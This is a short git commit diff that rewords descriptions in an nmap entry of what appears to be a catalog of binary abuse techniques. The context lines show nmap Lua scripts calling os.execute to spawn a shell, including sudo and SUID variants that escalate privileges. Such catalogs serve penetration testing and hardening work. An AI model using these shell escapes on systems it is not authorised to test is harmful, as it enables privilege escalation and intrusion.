Fix nmap descriptions

This commit is contained in:
Andrea Cardaci 2018-08-23 17:57:26 +02:00
parent d4b50275bb
commit 97c54f9b22

View File

@ -1,19 +1,19 @@
---
functions:
execute-interactive:
- description: Echoing of input characters is disabled.
- description: Input echo is disabled.
code: |
TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
nmap --script=$TF
sudo-enabled:
- description: Echoing of input characters is disabled.
- description: Input echo is disabled.
code: |
TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
sudo nmap --script=$TF
suid-enabled:
- description: Echoing of input characters is disabled.
- description: Input echo is disabled.
code: |
TF=$(mktemp)
echo 'os.execute("/bin/sh -p")' > $TF